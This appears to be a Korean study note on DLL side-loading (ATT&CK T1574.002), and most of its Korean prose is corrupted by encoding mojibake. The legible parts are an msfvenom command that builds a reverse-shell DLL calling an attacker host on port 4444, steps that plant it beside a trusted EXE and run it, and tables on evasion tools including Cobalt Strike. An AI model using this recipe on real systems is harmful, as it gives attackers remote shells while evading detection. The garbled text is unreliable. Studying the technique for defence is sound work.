์ ๋ขฐํ ์ ์๋ ์คํ ํ์ผ(EXE)์ด ์ ์ฑ DLL์ ๋ก๋ํ๋๋ก ์ ๋ํ๋ ๊ธฐ๋ฒ์ ๋๋ค.
์ฝ๊ฒ ๋งํด:
โ DLL ์ฌ์ด๋๋ก๋ฉ์ ํฉ๋ฒ์ ์ธ ํ๋ก๊ทธ๋จ์ ์ด์ฉํ ์ฐํ ์๋จ์ ๋๋ค โ ํ์ง ํํผ(Defense Evasion) ๋ชฉ์ ๋ ํผ.
abc.dll์ ๋ก๋ฉํ๋ค๊ณ ๊ฐ์ program.exe ์ฌ์ฉprogram.exe๊ฐ ์คํ ์ abc.dll์ ๋ก๋ํ๋ ๊ฑธ ํ์ธ (ProcMon ๋ฑ์ผ๋ก)abc.dll์ ๊ฐ์ ํด๋์ ๋ program.exe ์คํ ์ ์
์ฑ DLL๋ ํจ๊ป ์คํ๋จ ๐# 1. ์
์ฑ DLL ์ ์
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.XX LPORT=4444 -f dll -o abc.dll
# 2. ์ ๋ขฐ๋ EXE์ ๊ฐ์ ๋๋ ํ ๋ฆฌ์ ๋ณต์ฌ
cp abc.dll /tmp/folder_with_trusted_program/
cp program.exe /tmp/folder_with_trusted_program/
# 3. ์คํ
cd /tmp/folder_with_trusted_program/
./program.exe
์ด๋ฌ๋ฉด ๊ณต๊ฒฉ์์ ๋ฆฌ๋ฒ์ค์๋ก ์ฐ๊ฒฐ๋ฉ๋๋ค.
โก๏ธ ProcMon (Process Monitor) ํด ์ฌ์ฉ:
program.exe ์คํ ํ,| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ATT\&CK ID | T1574.002 โ DLL Side-Loading |
| Tactic | Execution, Defense Evasion |
| Description | ํฉ๋ฒ์ ์ธ ์ ํ๋ฆฌ์ผ์ด์ ์ ํตํด ์ ์ฑ DLL ์คํ |
| ๊ธฐ๋ฒ | ์ค๋ช |
|---|---|
| DLL Hijacking | DLL ๊ฒฝ๋ก ์ทจ์ฝ์ (์: Unquoted Path) ์ด์ฉ |
| DLL Injection | ๋ฉ๋ชจ๋ฆฌ ๋ด ํ ํ๋ก์ธ์ค์ ์ง์ DLL ์ฝ์ |
| DLL Side-Loading | ํฉ๋ฒ์ ์ธ EXE๊ฐ ์ ์ฑ DLL์ ์คํํ๊ฒ ์ ๋ |
| ํญ๋ชฉ | ์ค๋ช |
|---|---|
| ๋ชฉ์ | ํ์ง ์ฐํ + ์ฝ๋ ์คํ |
| ํ์ ์กฐ๊ฑด | DLL ๋ก๋ฉ ๊ตฌ์กฐ๋ฅผ ๊ฐ์ง ์ ๋ขฐ๋ EXE |
| ํด | ProcMon, msfvenom, Cobalt Strike ๋ฑ |
| ์ค์ต ํฌ์ธํธ | EXE๊ฐ ์ฐพ๋ DLL ์ด๋ฆ ํ์ โ ๊ฐ์ ์ด๋ฆ์ผ๋ก ์ ์ฑ DLL ๋ฐฐ์น |